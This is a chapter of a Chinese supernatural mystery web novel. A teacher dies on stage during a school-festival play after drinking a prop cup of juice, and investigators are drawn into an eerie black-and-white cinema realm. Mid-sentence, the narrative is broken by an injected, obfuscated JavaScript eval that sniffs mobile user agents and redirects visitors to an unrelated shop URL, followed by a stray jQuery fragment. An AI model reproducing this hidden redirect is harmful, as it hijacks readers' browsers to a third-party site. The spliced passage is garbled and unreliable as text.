傍晚，校园祭进入晚间会演阶段。礼堂坐满了人，学生、教师、家长、来宾和负责安保的异防部人员都被灯光与人声包在一起。舞台上方的灯架投下暖黄色的光，帷幕缓缓合拢时，仿佛一只巨大的眼睛在众人面前闭上。
前三个节目都很正常。合唱队的音准偶尔漂移，但情绪饱满；舞蹈社把道具扇子转飞了一次，台下反而笑得更热烈；学生乐队的贝斯手紧张到弹错了两处，却还是得到了整晚到目前为止最响的一次掌声。
老白看得很认真，甚至在第二个节目结束后评价了一句：“扇子飞出去那一下，很有实战价值。”
归零看向他：“你对校园文化活动的理解是不是有问题？”
不死途把节目单折了折，懒洋洋道：“事务所年会不许复刻。”
“我们事务所有年会？”
“从现在开始没有了。”
景实坐在不死途旁边，手里拿着那张贴着小狗贴纸的地图。归零把从摊位赢来的小星星贴纸贴到她地图上时，她低头看了很久，才用指腹小心翼翼地把边角压平。
相马没有坐在他们旁边。他在礼堂右侧通道来回跑，一会儿提醒学生不要堵出口，一会儿被老师叫去处理家长乱换座位，胸口不知道什么时候又多了一张“校园安全守护者”的贴纸。入口处那个中年保安则站在后门附近，低头检查临时封锁带，动作很慢，被整个会场排除在外。
归零看着相马跑来跑去：“他真的不坐下吗？”
“不坐也好。”不死途说，“他坐下，反而像有人把消防栓拔起来放到观众席里。”
景实小声问：“消防栓会跑吗？”
老白看了一眼右侧通道里正在奔跑的相马：“有时候会。”
这一切都像普通校园祭，普通到让人几乎忘记他们为什么会被叫来做安保。直到第四个节目开始，礼堂灯光暗下去，帷幕拉开，那栋旧宅的背景出现在舞台上。
白纱窗帘垂在窗边，桌上摆着玻璃酒瓶和两只杯子，蓝白色玫瑰插在花瓶里，在灯下泛着冷淡的光。女声旁白响起：“艾米丽小姐一生都住在那栋房子里。”
伊集院千织饰演的艾米丽从楼梯上慢慢走下来。白裙在灯下显得有些不真实，她的脸色很淡，眼神却空洞无物。她说“父亲说，外面没有适合我的路”时，台下安静了不少。那声音不大，却有一种奇异的穿透力，明明只是校园祭的舞台，却短暂地让人忘记了台下的塑料椅、校服和手机屏幕。
归零原本还在分析舞台灯光色温，这时忽然停了下来。不死途偏头问她怎么了，她的光屏轻轻闪了一下，声音压低：“后台信号有一瞬间空白。很短，被什么东西擦过去了。”
不死途抬眼。舞台上，松原饰演的父亲已经走出来。他穿着深色礼服，手里拿着那只玻璃酒瓶，灯光照在他脸上，让他的表情显得比排练时更阴沉。他对艾米丽说“你不能离开这里”时，语气里那种居高临下的温和，比单纯的凶狠更让人不舒服。
按照改编剧本，这一幕是全剧的高潮。艾米丽会在父亲的酒里下毒，父亲喝下酒后倒地，艾米丽把玫瑰放在他身边，完成她迟来的反抗。
台下许多学生都看过节目单，知道接下来会发生什么，所以当松原倒好那杯果酒时，没有人觉得不对。
他看着伊集院千织，缓慢地念出台词：“这个家给了你姓氏、体面和归处。”停顿之后，他又问，“你怎么能说走就走？”
伊集院低下头，按照剧本把酒杯递过去。她的声音轻得像一根快断掉的线：“父亲，这杯酒，是我献给您的玫瑰。”
松原接过杯子，喝下了那杯果酒。
一秒、两秒、三秒过去，他开始掐住喉咙。台下有人轻轻吸气，那不是惊恐，而是期待，因为剧本里他本来就该中毒。
松原踉跄一步，手中的酒杯颤抖着，脸上的威严慢慢变成痛苦。他的表演比排练时更逼真，逼真到有学生叫好。
“看不出来，松原主任的演技还挺好。”
“我还以为他只会训人。”
伊集院却没有继续说台词。
她站在原地，手里还拿着那朵蓝白色道具玫瑰，眼神一点点变了，因为松原没有按排练时那样倒向桌边。
他是真的在用力抓自己的喉咙，指甲在皮肤上划出痕迹，眼睛一点点睁大，张开嘴时却发不出完整声音。
舞台蓝白色灯光照进他的口腔深处，那里似乎有什么半透明的东西反出冷光，不像火，更像一小团被强行塞进喉咙里的玻璃，又像一朵没有花瓣的透明玫瑰，卡在气道里，随着他徒劳的呼吸一点点颤动。
直到伊集院后退一步，手里的玫瑰掉在地上，台下那些零散的笑声才真正停住。
“老师？”
那两个字不在剧本里，也不像台词。
礼堂一瞬间乱了起来。有人站起来，有人尖叫，有人慌张地往后退。相马第一个从右侧通道冲起来，声音破得厉害，却仍然有效：“都别挤！右侧通道先空出来！老师，把前排学生带下去！不要跑，慢慢走！俺去舞台！”
归零的光屏瞬间展开，快速给出结论：“不死途先生，后台线路没有过载，舞台灯没有爆燃，没有火焰反应。杯中残留液体和松原口腔内异物成分高度相似。”
“也就是说，”老白从座椅下探出头，“难喝的苹果汁自己变成了凶器？”
“目前看起来是这样。”
这几句对话很轻，很快就被尖叫声盖过去。不死途看了一眼景实，小女孩脸色发白，仍坐在原地，双手紧紧攥着地图，指尖把小星星贴纸的一角捏皱了。小狗贴纸的一角也翘了起来，她按了两次才按平。归零已经展开光屏，替她挡住了差点撞过来的学生，低声问：“你很冷？”景实摇摇头，可呼吸比刚才轻了很多。
“归零，看着她。”
“明白。”
“老白。”
“在。”
“看住后门。”
“明白。以及，我不是警犬。”
“不耽误你专业。”
老白骂了一句什么，已经从座椅下方钻了出去。
不死途站起身，沿着过道向舞台走去。他的脚步不快，甚至还保留着那点平时懒散的姿态。可就在他的脚踩上舞台前沿的一瞬间，礼堂里所有声音忽然被拉长了。
尖叫声、脚步声、扩音器里的命令、松原喉咙里挤出的气音，全都像被某种看不见的手拖进了老旧胶片里。暖黄色的灯光一点点褪色，台下观众的脸变成模糊的黑白剪影。正在奔跑的学生停在半空，老师伸出的手凝成一帧失焦的照片。归零的白光被切成细碎的雪花，老白的影子在座椅下方一闪，又像信号不稳那样散开。
不死途停下脚步。
黑白雪花不是从某一个方向涌出来的。它从舞台幕布的褶皱里、文化墙投影残留的光斑里、纸玫瑰的花瓣边缘里，同时渗出。
礼堂没有被谁“变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718577|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成”电影院。它更可能是原本就埋着一间放映厅，只是今晚终于有人把门找到了。
不死途低声说：“不是单纯的幻境。”
相马还没反应过来：“什么意思？”
“这地方早就在放片了。”不死途看着舞台中央的黑白照片。
礼堂还在，可它已经不是刚才的礼堂。舞台幕布从两侧垂落下来，变成一面巨大的银幕，银幕上没有画面，只有黑白雪花和胶片转动的声音。
咔哒。咔哒。咔哒。
“……我现在申请加班费，还来得及吗？”相马的声音从右侧通道里传来。
他还举着扩音器，脸上残留着没来得及收回的焦急。九十九俊介在礼堂侧门边，手机还举着，屏幕上的录像界面已经变成一片雪花；伊集院千织站在舞台中央，白裙下摆沾着果汁，脸色比舞台灯更白。
入口处那个中年保安不知什么时候也站到了后门阴影里，手里还攥着半截封锁带，表情仍旧木然。除此之外，所有人都成了观众席上静止的胶片。
“不好意思，”不死途看了看四周，“这类场所一般不认劳动法。”
相马的喉结滚了一下：“现在是开玩笑的时候吗？”
“正因为不是，才需要说两句。”不死途道，“不然你会先把自己吓死。”
松原倒在散落的玫瑰之间，身体抽搐了两下，终于彻底不动了。
下一秒，舞台中央出现了一把空椅，椅背上挂着一张黑白照片。照片里的松原头发梳得整齐，神情威严，像某张工作证上截下来的证件照。照片下方摆着那只碎掉的酒杯，杯口还沾着一点凝固的浅色果汁。
银幕上的雪花闪了闪，浮出一行字：【第一席：松原。】
随后又有一行字慢慢显现：【发言权已终止。】
相马的声音有点发颤：“这……这是什么地方？”
不死途看着那张黑白照片，语气仍旧懒洋洋的：“看起来，死人没有发言席。”
九十九后退一步，撞到侧门，却没能把门打开。他脸色难看地骂了一句：“开什么玩笑？这又是什么特效？”
“你拍到了吗？”不死途问。
九十九一愣，本能低头看手机，屏幕里只有一片雪花。他脸色更差了：“……没有。”
“那至少证明不是给你涨粉用的。”
“你这人是不是有病？”
“事务所业务范围比有病广。”不死途顺手替老白把这句接了。
伊集院没有参与他们的对话，只低头看着自己手上的果汁，可能还没能分清刚才递出去的究竟是一杯道具酒，还是某种真正的判决。中年保安站在后门阴影里低低咳了一声，他的咳嗽被胶片声吞掉一半，只剩下一点沙哑的尾音。
不死途抬头看向银幕。雪花里继续出现字迹，像粉笔写在黑板上后又被水擦过，边缘模糊不清。
【表象。】
【本相。】
【动因。】
三行字后，又慢慢浮出新的解释：
【表象：她如何死亡。】
【本相：她是谁。】
【动因：谁让她走到那里。】
最后一行出现得很慢，像是故意让所有人看清楚：【找到三个月前没有被看见的人。】
相马的脸色在这句话出现时变了。不死途看了他一眼，没有立刻问。银幕下方，松原的黑白照片无声地悬在那里，仿佛第一枚已经落下的棋子。